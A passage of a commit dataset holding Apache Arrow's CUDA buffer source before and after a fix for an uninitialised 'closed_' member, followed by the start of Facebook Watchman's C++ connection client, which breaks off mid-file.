(offset != 0 || (*out)->size() != size || !is_mutable) {\n *out = std::make_shared<CudaBuffer>(*out, offset, size);\n (*out)->is_mutable_ = is_mutable;\n }\n return Status::OK();\n}\n\nStatus CudaBuffer::CopyToHost(const int64_t position, const int64_t nbytes,\n void* out) const {\n return context_->CopyDeviceToHost(out, data_ + position, nbytes);\n}\n\nStatus CudaBuffer::CopyFromHost(const int64_t position, const void* data,\n int64_t nbytes) {\n DCHECK_LE(nbytes, size_ - position) << \"Copy would overflow buffer\";\n return context_->CopyHostToDevice(mutable_data_ + position, data, nbytes);\n}\n\nStatus CudaBuffer::CopyFromDevice(const int64_t position, const void* data,\n int64_t nbytes) {\n DCHECK_LE(nbytes, size_ - position) << \"Copy would overflow buffer\";\n return context_->CopyDeviceToDevice(mutable_data_ + position, data, nbytes);\n}\n\nStatus CudaBuffer::ExportForIpc(std::shared_ptr<CudaIpcMemHandle>* handle) {\n if (is_ipc_) {\n return Status::Invalid(\"Buffer has already been exported for IPC\");\n }\n RETURN_NOT_OK(context_->ExportIpcBuffer(mutable_data_, size_, handle));\n own_data_ = false;\n return Status::OK();\n}\n\nCudaHostBuffer::~CudaHostBuffer() {\n CudaDeviceManager* manager = nullptr;\n DCHECK(CudaDeviceManager::GetInstance(&manager).ok());\n DCHECK(manager->FreeHost(mutable_data_, size_).ok());\n}\n\n\/\/ ----------------------------------------------------------------------\n\/\/ CudaBufferReader\n\nCudaBufferReader::CudaBufferReader(const std::shared_ptr<Buffer>& buffer)\n : io::BufferReader(buffer) {\n if (!CudaBuffer::FromBuffer(buffer, &cuda_buffer_).ok()) {\n throw std::bad_cast();\n }\n context_ = cuda_buffer_->context();\n}\n\nCudaBufferReader::~CudaBufferReader() {}\n\nStatus CudaBufferReader::Read(int64_t nbytes, int64_t* bytes_read, void* buffer) {\n nbytes = std::min(nbytes, size_ - position_);\n *bytes_read = nbytes;\n RETURN_NOT_OK(context_->CopyDeviceToHost(buffer, data_ + position_, nbytes));\n position_ += nbytes;\n return Status::OK();\n}\n\nStatus CudaBufferReader::Read(int64_t nbytes, std::shared_ptr<Buffer>* out) {\n int64_t size = std::min(nbytes, size_ - position_);\n *out = std::make_shared<CudaBuffer>(cuda_buffer_, position_, size);\n position_ += size;\n return Status::OK();\n}\n\n\/\/ ----------------------------------------------------------------------\n\/\/ CudaBufferWriter\n\nclass CudaBufferWriter::CudaBufferWriterImpl {\n public:\n explicit CudaBufferWriterImpl(const std::shared_ptr<CudaBuffer>& buffer)\n : context_(buffer->context()),\n buffer_(buffer),\n buffer_size_(0),\n buffer_position_(0) {\n buffer_ = buffer;\n DCHECK(buffer->is_mutable()) << \"Must pass mutable buffer\";\n mutable_data_ = buffer->mutable_data();\n size_ = buffer->size();\n position_ = 0;\n }\n\n Status Seek(int64_t position) {\n if (position < 0 || position >= size_) {\n return Status::IOError(\"position out of bounds\");\n }\n position_ = position;\n return Status::OK();\n }\n\n Status Close() {\n if (!closed_) {\n closed_ = true;\n RETURN_NOT_OK(Flush());\n }\n return Status::OK();\n }\n\n Status Flush() {\n if (buffer_size_ > 0 && buffer_position_ > 0) {\n \/\/ Only need to flush when the write has been buffered\n RETURN_NOT_OK(\n context_->CopyHostToDevice(mutable_data_ + position_ - buffer_position_,\n host_buffer_data_, buffer_position_));\n buffer_position_ = 0;\n }\n return Status::OK();\n }\n\n bool closed() const { return closed_; }\n\n Status Tell(int64_t* position) const {\n *position = position_;\n return Status::OK();\n }\n\n Status Write(const void* data, int64_t nbytes) {\n if (nbytes == 0) {\n return Status::OK();\n }\n\n if (buffer_size_ > 0) {\n if (nbytes + buffer_position_ >= buffer_size_) {\n \/\/ Reach end of buffer, write everything\n RETURN_NOT_OK(Flush());\n RETURN_NOT_OK(\n context_->CopyHostToDevice(mutable_data_ + position_, data, nbytes));\n } else {\n \/\/ Write bytes to buffer\n std::memcpy(host_buffer_data_ + buffer_position_, data, nbytes);\n buffer_position_ += nbytes;\n }\n } else {\n \/\/ Unbuffered write\n RETURN_NOT_OK(context_->CopyHostToDevice(mutable_data_ + position_, data, nbytes));\n }\n position_ += nbytes;\n return Status::OK();\n }\n\n Status WriteAt(int64_t position, const void* data, int64_t nbytes) {\n std::lock_guard<std::mutex> guard(lock_);\n RETURN_NOT_OK(Seek(position));\n return Write(data, nbytes);\n }\n\n Status SetBufferSize(const int64_t buffer_size) {\n if (buffer_position_ > 0) {\n \/\/ Flush any buffered data\n RETURN_NOT_OK(Flush());\n }\n RETURN_NOT_OK(AllocateCudaHostBuffer(context_.get()->device_number(), buffer_size,\n &host_buffer_));\n host_buffer_data_ = host_buffer_->mutable_data();\n buffer_size_ = buffer_size;\n return Status::OK();\n }\n\n int64_t buffer_size() const { return buffer_size_; }\n\n int64_t buffer_position() const { return buffer_position_; }\n\n private:\n std::shared_ptr<CudaContext> context_;\n std::shared_ptr<CudaBuffer> buffer_;\n std::mutex lock_;\n uint8_t* mutable_data_;\n int64_t size_;\n int64_t position_;\n bool closed_;\n\n \/\/ Pinned host buffer for buffering writes on CPU before calling cudaMalloc\n int64_t buffer_size_;\n int64_t buffer_position_;\n std::shared_ptr<CudaHostBuffer> host_buffer_;\n uint8_t* host_buffer_data_;\n};\n\nCudaBufferWriter::CudaBufferWriter(const std::shared_ptr<CudaBuffer>& buffer) {\n impl_.reset(new CudaBufferWriterImpl(buffer));\n}\n\nCudaBufferWriter::~CudaBufferWriter() {}\n\nStatus CudaBufferWriter::Close() { return impl_->Close(); }\n\nbool CudaBufferWriter::closed() const { return impl_->closed(); }\n\nStatus CudaBufferWriter::Flush() { return impl_->Flush(); }\n\nStatus CudaBufferWriter::Seek(int64_t position) {\n if (impl_->buffer_position() > 0) {\n RETURN_NOT_OK(Flush());\n }\n return impl_->Seek(position);\n}\n\nStatus CudaBufferWriter::Tell(int64_t* position) const { return impl_->Tell(position); }\n\nStatus CudaBufferWriter::Write(const void* data, int64_t nbytes) {\n return impl_->Write(data, nbytes);\n}\n\nStatus CudaBufferWriter::WriteAt(int64_t position, const void* data, int64_t nbytes) {\n return impl_->WriteAt(position, data, nbytes);\n}\n\nStatus CudaBufferWriter::SetBufferSize(const int64_t buffer_size) {\n return impl_->SetBufferSize(buffer_size);\n}\n\nint64_t CudaBufferWriter::buffer_size() const { return impl_->buffer_size(); }\n\nint64_t CudaBufferWriter::num_bytes_buffered() const { return impl_->buffer_position(); }\n\n\/\/ ----------------------------------------------------------------------\n\nStatus AllocateCudaHostBuffer(int device_number, const int64_t size,\n std::shared_ptr<CudaHostBuffer>* out) {\n CudaDeviceManager* manager = nullptr;\n RETURN_NOT_OK(CudaDeviceManager::GetInstance(&manager));\n return manager->AllocateHost(device_number, size, out);\n}\n\n} \/\/ namespace cuda\n} \/\/ namespace arrow\n<commit_msg>ARROW-3879: [C++] Fix uninitialized member in CudaBufferWriter<commit_after>\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements. See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership. The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License. You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied. See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#include \"arrow\/gpu\/cuda_memory.h\"\n\n#include <algorithm>\n#include <cstdint>\n#include <cstdlib>\n#include <memory>\n#include <mutex>\n\n#include <cuda.h>\n\n#include \"arrow\/buffer.h\"\n#include \"arrow\/io\/memory.h\"\n#include \"arrow\/status.h\"\n#include \"arrow\/util\/logging.h\"\n\n#include \"arrow\/gpu\/cuda_common.h\"\n#include \"arrow\/gpu\/cuda_context.h\"\n\nnamespace arrow {\nnamespace cuda {\n\n\/\/ ----------------------------------------------------------------------\n\/\/ CUDA IPC memory handle\n\nstruct CudaIpcMemHandle::CudaIpcMemHandleImpl {\n explicit CudaIpcMemHandleImpl(const uint8_t* handle) {\n memcpy(&memory_size, handle, sizeof(memory_size));\n if (memory_size != 0)\n memcpy(&ipc_handle, handle + sizeof(memory_size), sizeof(CUipcMemHandle));\n }\n\n explicit CudaIpcMemHandleImpl(int64_t memory_size, const void* cu_handle)\n : memory_size(memory_size) {\n if (memory_size != 0) memcpy(&ipc_handle, cu_handle, sizeof(CUipcMemHandle));\n }\n\n CUipcMemHandle ipc_handle; \/\/\/ initialized only when memory_size != 0\n int64_t memory_size; \/\/\/ size of the memory that ipc_handle refers to\n};\n\nCudaIpcMemHandle::CudaIpcMemHandle(const void* handle) {\n impl_.reset(new CudaIpcMemHandleImpl(reinterpret_cast<const uint8_t*>(handle)));\n}\n\nCudaIpcMemHandle::CudaIpcMemHandle(int64_t memory_size, const void* cu_handle) {\n impl_.reset(new CudaIpcMemHandleImpl(memory_size, cu_handle));\n}\n\nCudaIpcMemHandle::~CudaIpcMemHandle() {}\n\nStatus CudaIpcMemHandle::FromBuffer(const void* opaque_handle,\n std::shared_ptr<CudaIpcMemHandle>* handle) {\n *handle = std::shared_ptr<CudaIpcMemHandle>(new CudaIpcMemHandle(opaque_handle));\n return Status::OK();\n}\n\nStatus CudaIpcMemHandle::Serialize(MemoryPool* pool, std::shared_ptr<Buffer>* out) const {\n std::shared_ptr<Buffer> buffer;\n int64_t size = impl_->memory_size;\n size_t kHandleSize =\n (size > 0 ? sizeof(int64_t) + sizeof(CUipcMemHandle) : sizeof(int64_t));\n RETURN_NOT_OK(AllocateBuffer(pool, static_cast<int64_t>(kHandleSize), &buffer));\n memcpy(buffer->mutable_data(), &impl_->memory_size, sizeof(impl_->memory_size));\n if (size > 0)\n memcpy(buffer->mutable_data() + sizeof(impl_->memory_size), &impl_->ipc_handle,\n sizeof(impl_->ipc_handle));\n *out = buffer;\n return Status::OK();\n}\n\nconst void* CudaIpcMemHandle::handle() const { return &impl_->ipc_handle; }\n\nint64_t CudaIpcMemHandle::memory_size() const { return impl_->memory_size; }\n\n\/\/ ----------------------------------------------------------------------\n\nCudaBuffer::CudaBuffer(uint8_t* data, int64_t size,\n const std::shared_ptr<CudaContext>& context, bool own_data,\n bool is_ipc)\n : Buffer(data, size), context_(context), own_data_(own_data), is_ipc_(is_ipc) {\n is_mutable_ = true;\n mutable_data_ = data;\n}\n\nCudaBuffer::~CudaBuffer() { DCHECK(Close().ok()); }\n\nStatus CudaBuffer::Close() {\n if (own_data_) {\n if (is_ipc_) {\n return context_->CloseIpcBuffer(this);\n } else {\n return context_->Free(mutable_data_, size_);\n }\n }\n return Status::OK();\n}\n\nCudaBuffer::CudaBuffer(const std::shared_ptr<CudaBuffer>& parent, const int64_t offset,\n const int64_t size)\n : Buffer(parent, offset, size),\n context_(parent->context()),\n own_data_(false),\n is_ipc_(false) {\n if (parent->is_mutable()) {\n is_mutable_ = true;\n mutable_data_ = const_cast<uint8_t*>(data_);\n }\n}\n\nStatus CudaBuffer::FromBuffer(std::shared_ptr<Buffer> buffer,\n std::shared_ptr<CudaBuffer>* out) {\n int64_t offset = 0, size = buffer->size();\n bool is_mutable = buffer->is_mutable();\n \/\/ The original CudaBuffer may have been wrapped in another Buffer\n \/\/ (for example through slicing).\n while (!(*out = std::dynamic_pointer_cast<CudaBuffer>(buffer))) {\n const std::shared_ptr<Buffer> parent = buffer->parent();\n if (!parent) {\n return Status::TypeError(\"buffer is not backed by a CudaBuffer\");\n }\n offset += buffer->data() - parent->data();\n buffer = parent;\n }\n \/\/ Re-slice to represent the same memory area\n if (offset != 0 || (*out)->size() != size || !is_mutable) {\n *out = std::make_shared<CudaBuffer>(*out, offset, size);\n (*out)->is_mutable_ = is_mutable;\n }\n return Status::OK();\n}\n\nStatus CudaBuffer::CopyToHost(const int64_t position, const int64_t nbytes,\n void* out) const {\n return context_->CopyDeviceToHost(out, data_ + position, nbytes);\n}\n\nStatus CudaBuffer::CopyFromHost(const int64_t position, const void* data,\n int64_t nbytes) {\n DCHECK_LE(nbytes, size_ - position) << \"Copy would overflow buffer\";\n return context_->CopyHostToDevice(mutable_data_ + position, data, nbytes);\n}\n\nStatus CudaBuffer::CopyFromDevice(const int64_t position, const void* data,\n int64_t nbytes) {\n DCHECK_LE(nbytes, size_ - position) << \"Copy would overflow buffer\";\n return context_->CopyDeviceToDevice(mutable_data_ + position, data, nbytes);\n}\n\nStatus CudaBuffer::ExportForIpc(std::shared_ptr<CudaIpcMemHandle>* handle) {\n if (is_ipc_) {\n return Status::Invalid(\"Buffer has already been exported for IPC\");\n }\n RETURN_NOT_OK(context_->ExportIpcBuffer(mutable_data_, size_, handle));\n own_data_ = false;\n return Status::OK();\n}\n\nCudaHostBuffer::~CudaHostBuffer() {\n CudaDeviceManager* manager = nullptr;\n DCHECK(CudaDeviceManager::GetInstance(&manager).ok());\n DCHECK(manager->FreeHost(mutable_data_, size_).ok());\n}\n\n\/\/ ----------------------------------------------------------------------\n\/\/ CudaBufferReader\n\nCudaBufferReader::CudaBufferReader(const std::shared_ptr<Buffer>& buffer)\n : io::BufferReader(buffer) {\n if (!CudaBuffer::FromBuffer(buffer, &cuda_buffer_).ok()) {\n throw std::bad_cast();\n }\n context_ = cuda_buffer_->context();\n}\n\nCudaBufferReader::~CudaBufferReader() {}\n\nStatus CudaBufferReader::Read(int64_t nbytes, int64_t* bytes_read, void* buffer) {\n nbytes = std::min(nbytes, size_ - position_);\n *bytes_read = nbytes;\n RETURN_NOT_OK(context_->CopyDeviceToHost(buffer, data_ + position_, nbytes));\n position_ += nbytes;\n return Status::OK();\n}\n\nStatus CudaBufferReader::Read(int64_t nbytes, std::shared_ptr<Buffer>* out) {\n int64_t size = std::min(nbytes, size_ - position_);\n *out = std::make_shared<CudaBuffer>(cuda_buffer_, position_, size);\n position_ += size;\n return Status::OK();\n}\n\n\/\/ ----------------------------------------------------------------------\n\/\/ CudaBufferWriter\n\nclass CudaBufferWriter::CudaBufferWriterImpl {\n public:\n explicit CudaBufferWriterImpl(const std::shared_ptr<CudaBuffer>& buffer)\n : context_(buffer->context()),\n buffer_(buffer),\n buffer_size_(0),\n buffer_position_(0) {\n buffer_ = buffer;\n DCHECK(buffer->is_mutable()) << \"Must pass mutable buffer\";\n mutable_data_ = buffer->mutable_data();\n size_ = buffer->size();\n position_ = 0;\n closed_ = false;\n }\n\n#define CHECK_CLOSED() \\\n if (closed_) { \\\n return Status::Invalid(\"Operation on closed CudaBufferWriter\"); \\\n }\n\n Status Seek(int64_t position) {\n CHECK_CLOSED();\n if (position < 0 || position >= size_) {\n return Status::IOError(\"position out of bounds\");\n }\n position_ = position;\n return Status::OK();\n }\n\n Status Close() {\n if (!closed_) {\n closed_ = true;\n RETURN_NOT_OK(FlushInternal());\n }\n return Status::OK();\n }\n\n Status Flush() {\n CHECK_CLOSED();\n return FlushInternal();\n }\n\n Status FlushInternal() {\n if (buffer_size_ > 0 && buffer_position_ > 0) {\n \/\/ Only need to flush when the write has been buffered\n RETURN_NOT_OK(\n context_->CopyHostToDevice(mutable_data_ + position_ - buffer_position_,\n host_buffer_data_, buffer_position_));\n buffer_position_ = 0;\n }\n return Status::OK();\n }\n\n bool closed() const { return closed_; }\n\n Status Tell(int64_t* position) const {\n CHECK_CLOSED();\n *position = position_;\n return Status::OK();\n }\n\n Status Write(const void* data, int64_t nbytes) {\n CHECK_CLOSED();\n if (nbytes == 0) {\n return Status::OK();\n }\n\n if (buffer_size_ > 0) {\n if (nbytes + buffer_position_ >= buffer_size_) {\n \/\/ Reach end of buffer, write everything\n RETURN_NOT_OK(Flush());\n RETURN_NOT_OK(\n context_->CopyHostToDevice(mutable_data_ + position_, data, nbytes));\n } else {\n \/\/ Write bytes to buffer\n std::memcpy(host_buffer_data_ + buffer_position_, data, nbytes);\n buffer_position_ += nbytes;\n }\n } else {\n \/\/ Unbuffered write\n RETURN_NOT_OK(context_->CopyHostToDevice(mutable_data_ + position_, data, nbytes));\n }\n position_ += nbytes;\n return Status::OK();\n }\n\n Status WriteAt(int64_t position, const void* data, int64_t nbytes) {\n std::lock_guard<std::mutex> guard(lock_);\n CHECK_CLOSED();\n RETURN_NOT_OK(Seek(position));\n return Write(data, nbytes);\n }\n\n Status SetBufferSize(const int64_t buffer_size) {\n CHECK_CLOSED();\n if (buffer_position_ > 0) {\n \/\/ Flush any buffered data\n RETURN_NOT_OK(Flush());\n }\n RETURN_NOT_OK(AllocateCudaHostBuffer(context_.get()->device_number(), buffer_size,\n &host_buffer_));\n host_buffer_data_ = host_buffer_->mutable_data();\n buffer_size_ = buffer_size;\n return Status::OK();\n }\n\n int64_t buffer_size() const { return buffer_size_; }\n\n int64_t buffer_position() const { return buffer_position_; }\n\n#undef CHECK_CLOSED\n\n private:\n std::shared_ptr<CudaContext> context_;\n std::shared_ptr<CudaBuffer> buffer_;\n std::mutex lock_;\n uint8_t* mutable_data_;\n int64_t size_;\n int64_t position_;\n bool closed_;\n\n \/\/ Pinned host buffer for buffering writes on CPU before calling cudaMalloc\n int64_t buffer_size_;\n int64_t buffer_position_;\n std::shared_ptr<CudaHostBuffer> host_buffer_;\n uint8_t* host_buffer_data_;\n};\n\nCudaBufferWriter::CudaBufferWriter(const std::shared_ptr<CudaBuffer>& buffer) {\n impl_.reset(new CudaBufferWriterImpl(buffer));\n}\n\nCudaBufferWriter::~CudaBufferWriter() {}\n\nStatus CudaBufferWriter::Close() { return impl_->Close(); }\n\nbool CudaBufferWriter::closed() const { return impl_->closed(); }\n\nStatus CudaBufferWriter::Flush() { return impl_->Flush(); }\n\nStatus CudaBufferWriter::Seek(int64_t position) {\n if (impl_->buffer_position() > 0) {\n RETURN_NOT_OK(Flush());\n }\n return impl_->Seek(position);\n}\n\nStatus CudaBufferWriter::Tell(int64_t* position) const { return impl_->Tell(position); }\n\nStatus CudaBufferWriter::Write(const void* data, int64_t nbytes) {\n return impl_->Write(data, nbytes);\n}\n\nStatus CudaBufferWriter::WriteAt(int64_t position, const void* data, int64_t nbytes) {\n return impl_->WriteAt(position, data, nbytes);\n}\n\nStatus CudaBufferWriter::SetBufferSize(const int64_t buffer_size) {\n return impl_->SetBufferSize(buffer_size);\n}\n\nint64_t CudaBufferWriter::buffer_size() const { return impl_->buffer_size(); }\n\nint64_t CudaBufferWriter::num_bytes_buffered() const { return impl_->buffer_position(); }\n\n\/\/ ----------------------------------------------------------------------\n\nStatus AllocateCudaHostBuffer(int device_number, const int64_t size,\n std::shared_ptr<CudaHostBuffer>* out) {\n CudaDeviceManager* manager = nullptr;\n RETURN_NOT_OK(CudaDeviceManager::GetInstance(&manager));\n return manager->AllocateHost(device_number, size, out);\n}\n\n} \/\/ namespace cuda\n} \/\/ namespace arrow\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2016-present Facebook, Inc.\n * Licensed under the Apache License, Version 2.0 *\/\n\n#include \"WatchmanConnection.h\"\n\n#include <folly\/ExceptionWrapper.h>\n#include <folly\/SocketAddress.h>\n#include <folly\/Subprocess.h>\n#include <folly\/experimental\/bser\/Bser.h>\n#include <folly\/futures\/InlineExecutor.h>\n\nnamespace watchman {\n\nusing namespace folly::bser;\nusing namespace folly;\n\n\/\/ Ordered with the most likely kind first\nstatic const std::vector<dynamic> kUnilateralLabels{\"subscription\", \"log\"};\n\nstatic const dynamic kError(\"error\");\nstatic const dynamic kCapabilities(\"capabilities\");\n\n\/\/ We'll just dispatch bser decodes and callbacks inline unless they\n\/\/ give us an alternative environment\nstatic InlineExecutor inlineExecutor;\n\nWatchmanConnection::WatchmanConnection(\n EventBase* eventBase,\n Optional<std::string>&& sockPath,\n Optional<WatchmanConnection::Callback>&& callback,\n Executor* cpuExecutor)\n : eventBase_(eventBase),\n sockPath_(std::move(sockPath)),\n callback_(std::move(callback)),\n cpuExecutor_(cpuExecutor ? cpuExecutor : &inlineExecutor),\n versionCmd_(nullptr),\n bufQ_(IOBufQueue::cacheChainLength()) {\n CHECK_NOTNULL(eventBase);\n}\n\nWatchmanConnection::~WatchmanConnection() {\n close();\n}\n\nfolly::Future<std::string> WatchmanConnection::getSockPath() {\n \/\/ Take explicit configuration first\n if (sockPath_.hasValue()) {\n return makeFuture(sockPath_.value());\n }\n\n \/\/ Else use the environmental variable used by watchman to report\n \/\/ the active socket path\n auto var = getenv(\"WATCHMAN_SOCK\");\n if (var && *var) {\n return makeFuture(std::string(var));\n }\n\n return via(cpuExecutor_, [] {\n \/\/ Else discover it from the CLI\n folly::Subprocess proc(\n {\"watchman\", \"--output-encoding=bser\", \"get-sockname\"},\n folly::Subprocess::Options().pipeStdout().pipeStderr().usePath());\n SCOPE_FAIL {\n \/\/ Always clean up to avoid Subprocess asserting on destruction\n proc.kill();\n proc.wait();\n };\n auto out_pair = proc.communicate();\n auto result = parseBser(out_pair.first);\n proc.waitChecked();\n return result[\"sockname\"].asString();\n });\n}\n\nFuture<dynamic> WatchmanConnection::connect(folly::dynamic versionArgs) {\n if (!versionArgs.isObject()) {\n throw WatchmanError(\"versionArgs must be object\");\n }\n versionCmd_ = folly::dynamic::array(\"version\", versionArgs);\n\n auto res = getSockPath().then(\n [shared_this=shared_from_this()] (std::string&& path) {\n shared_this->eventBase_->runInEventBaseThread([=] {\n folly::SocketAddress addr;\n addr.setFromPath(path);\n\n shared_this->sock_ =\n folly::AsyncSocket::newSocket(shared_this->eventBase_);\n shared_this->sock_->connect(shared_this.get(), addr);\n }\n );\n\n return shared_this->connectPromise_.getFuture();\n });\n return res;\n}\n\nvoid WatchmanConnection::close() {\n if (closing_) {\n return;\n }\n closing_ = true;\n if (sock_) {\n eventBase_->runImmediatelyOrRunInEventBaseThreadAndWait([this] {\n sock_->close();\n sock_.reset();\n });\n }\n failQueuedCommands(\n make_exception_wrapper<WatchmanError>(\n \"WatchmanConnection::close() was called\"));\n}\n\n\/\/ The convention for Watchman responses is that they represent\n\/\/ an error if they contain the \"error\" key. We want to report\n\/\/ those as exceptions, but it is easier to do that via a Try\nTry<dynamic> WatchmanConnection::watchmanResponseToTry(dynamic&& value) {\n auto error = value.get_ptr(kError);\n if (error) {\n return Try<dynamic>(make_exception_wrapper<WatchmanResponseError>(value));\n }\n return Try<dynamic>(std::move(value));\n}\n\nvoid WatchmanConnection::connectSuccess() noexcept {\n try {\n sock_->setReadCB(this);\n sock_->setCloseOnExec();\n\n run(versionCmd_).then(\n [shared_this=shared_from_this()] (dynamic&& result) {\n \/\/ If there is no \"capabilities\" key then the version of\n \/\/ watchman is too old; treat this as an error\n if (!result.get_ptr(kCapabilities)) {\n result[\"error\"] =\n \"This watchman server has no support for capabilities, \"\n \"please upgrade to the current stable version of watchman\";\n shared_this->connectPromise_.setTry(\n shared_this->watchmanResponseToTry(std::move(result)));\n return;\n }\n shared_this->connectPromise_.setValue(std::move(result));\n }\n ).onError(\n [shared_this=shared_from_this()]\n (const folly::exception_wrapper& e) {\n shared_this->connectPromise_.setException(e);\n }\n );\n } catch(const std::exception& e) {\n connectPromise_.setException(\n folly::exception_wrapper(std::current_exception(), e));\n } catch(...) {\n connectPromise_.setException(\n folly::exception_wrapper(std::current_exception()));\n }\n}\n\nvoid WatchmanConnection::connectErr(\n const folly::AsyncSocketException& ex) noexcept {\n connectPromise_.setException(ex);\n}\n\nWatchmanConnection::QueuedCommand::QueuedCommand(const dynamic& command)\n : cmd(command) {}\n\nFuture<dynamic> WatchmanConnection::run(const dynamic& command) noexcept {\n auto cmd = std::make_shared<QueuedCommand>(command);\n if (broken_) {\n cmd->promise.setException(WatchmanError(\"The connection was broken\"));\n return cmd->promise.getFuture();\n }\n if (!sock_) {\n cmd->promise.setException(WatchmanError(\n \"No socket (did you call connect() and check result for exceptions?)\"));\n return cmd->promise.getFuture();\n }\n\n bool shouldWrite;\n {\n std::lock_guard<std::mutex> g(mutex_);\n \/\/ We only need to call sendCommand if we don't have a command in\n \/\/ progress; the completion handler will trigger it once we receive\n \/\/ the response\n shouldWrite = commandQ_.empty();\n commandQ_.push_back(cmd);\n }\n\n if (shouldWrite) {\n eventBase_->runInEventBaseThread(\n [shared_this=shared_from_this()] {\n shared_this->sendCommand();\n }\n );\n }\n\n return cmd->promise.getFuture();\n}\n\n\/\/ Generate a failure for all queued commands\nvoid WatchmanConnection::failQueuedCommands(\n const folly::exception_wrapper& ex) {\n std::lock_guard<std::mutex> g(mutex_);\n auto q = commandQ_;\n commandQ_.clear();\n\n broken_ = true;\n for (auto& cmd : q) {\n if (!cmd->promise.isFulfilled()) {\n cmd->promise.setException(ex);\n }\n }\n\n \/\/ If the user has explicitly closed the connection no need for callback\n if (callback_ && !closing_) {\n cpuExecutor_->add([shared_this=shared_from_this(), ex] {\n (*(shared_this->callback_))(folly::Try<folly::dynamic>(ex));\n });\n }\n}\n\n\/\/ Sends the next eligible command to the Watchman service\nvoid WatchmanConnection::sendCommand(bool pop) {\n std::shared_ptr<QueuedCommand> cmd;\n\n {\n std::lock_guard<std::mutex> g(mutex_);\n\n if (pop) {\n \/\/ We finished processing this one, discard it and focus\n \/\/ on the next item, if any.\n commandQ_.pop_front();\n }\n if (commandQ_.empty()) {\n return;\n }\n cmd = commandQ_.front();\n }\n\n sock_->writeChain(this, toBserIOBuf(cmd->cmd, serialization_opts()));\n}\n\nvoid WatchmanConnection::popAndSendCommand() {\n sendCommand(\/* pop = *\/ true);\n}\n\n\/\/ Called when AsyncSocket::writeChain completes\nvoid WatchmanConnection::writeSuccess() noexcept {\n \/\/ Don't care particularly\n}\n\n\/\/ Called when AsyncSocket::writeChain fails\nvoid WatchmanConnection::writeErr(\n size_t,\n const folly::AsyncSocketException& ex) noexcept {\n failQueuedCommands(ex);\n}\n\n\/\/ Called when AsyncSocket wants to give us data\nvoid WatchmanConnection::getReadBuffer(void** bufReturn, size_t* lenReturn) {\n std::lock_guard<std::mutex> g(mutex_);\n const auto ret = bufQ_.preallocate(2048, 2048);\n *bufReturn = ret.first;\n *lenReturn = ret.second;\n}\n\n\/\/ Called when AsyncSocket gave us data\nvoid WatchmanConnection::readDataAvailable(size_t len) noexcept {\n {\n std::lock_guard<std::mutex> g(mutex_);\n bufQ_.postallocate(len);\n }\n cpuExecutor_->add([shared_this=shared_from_this()] {\n shared_this->decodeNextResponse();\n });\n}\n\nstd::unique_ptr<folly::IOBuf> WatchmanConnection::splitNextPdu() {\n std::lock_guard<std::mutex> g(mutex_);\n if (!bufQ_.front()) {\n return nullptr;\n }\n\n \/\/ Do we have enough data to decode the next item?\n size_t pdu_len = 0;\n try {\n pdu_len = decodePduLength(bufQ_.front());\n } catch (const std::out_of_range&) {\n \/\/ Don't have enough data yet\n return nullptr;\n }\n\n if (pdu_len > bufQ_.chainLength()) {\n \/\/ Don't have enough data yet\n return nullptr;\n }\n\n \/\/ Remove the PDU blob from the front of the chain\n return bufQ_.split(pdu_len);\n}\n\n\/\/ Try to peel off one or more PDU's from our buffer queue.\n\/\/ Decode each complete PDU from BSER -> dynamic and dispatch\n\/\/ either the associated QueuedCommand or to the callback_ for\n\/\/ unilateral responses.\n\/\/ This is executed via the cpuExecutor. We only allow one\n\/\/ thread to carry out the decoding at a time so that the callbacks\n\/\/ are triggered in the order that they are received. It is possible\n\/\/ for us to receive a large PDU followed by a small one and for the\n\/\/ small one to finish decoding before the large one, so we must\n\/\/ serialize the dispatching.\nvoid WatchmanConnection::decodeNextResponse() {\n {\n std::lock_guard<std::mutex> g(mutex_);\n if (decoding_) {\n return;\n }\n decoding_ = true;\n }\n\n SCOPE_EXIT {\n std::lock_guard<std::mutex> g(mutex_);\n decoding_ = false;\n };\n\n while (true) {\n auto pdu = splitNextPdu();\n if (!pdu) {\n return;\n }\n\n try {\n auto decoded = parseBser(pdu.get());\n\n bool is_unilateral = false;\n \/\/ Check for a unilateral response\n for (const auto& k : kUnilateralLabels) {\n if (decoded.get_ptr(k)) {\n \/\/ This is a unilateral response\n if (callback_.hasValue()) {\n callback_.value()(watchmanResponseToTry(std::move(decoded)));\n is_unilateral = true;\n break;\n }\n \/\/ No callback; usage error :-\/\n failQueuedCommands(\n std::runtime_error(\"No unilateral callback has been installed\"));\n return;\n }\n }\n if (is_unilateral) {\n continue;\n }\n\n \/\/ It's actually a command response; get the cmd so that we\n \/\/ can fulfil its promise\n std::shared_ptr<QueuedCommand> cmd;\n {\n std::lock_guard<std::mutex> g(mutex_);\n if (commandQ_.empty()) {\n failQueuedCommands(\n std::runtime_error(\"No commands have been queued\"));\n return;\n }\n cmd = commandQ_.front();\n }\n\n \/\/ Dispatch outside of the lock in case it tries to send another\n \/\/ command\n cmd->promise.setTry(watchmanResponseToTry(std::move(decoded)));\n\n \/\/ Now we're in a position to send the next queued command.\n \/\/ We remove it after dispatching the try above in case that\n \/\/ queued up more commands; we want to be the one thing that\n \/\/ is responsible for sending the next queued command here\n popAndSendCommand();\n } catch (const std::exception& ex) {\n failQueuedCommands(ex);\n return;\n }\n }\n}\n\n\/\/ Called when AsyncSocket hits EOF\nvoid WatchmanConnection::readEOF() noexcept {\n failQueuedCommands(\n std::system_error(ENOTCONN, std::system_category(), \"connection closed\"));\n}\n\n\/\/ Called when AsyncSocket has a read error\nvoid WatchmanConnection::readErr(\n const folly::AsyncSocketException& ex) noexcept {\n failQueuedCommands(ex);\n}\n} \/\/ namespace watchman\n<commit_msg>move InlineExecutor, ManualExecutor, and GlobalThreadPoolList to<commit_after>\/* Copyright 2016-present Facebook, Inc.\n * Licensed under the Apache License, Version 2.0 *\/\n\n#include \"WatchmanConnection.h\"\n\n#include <folly\/ExceptionWrapper.h>\n#include 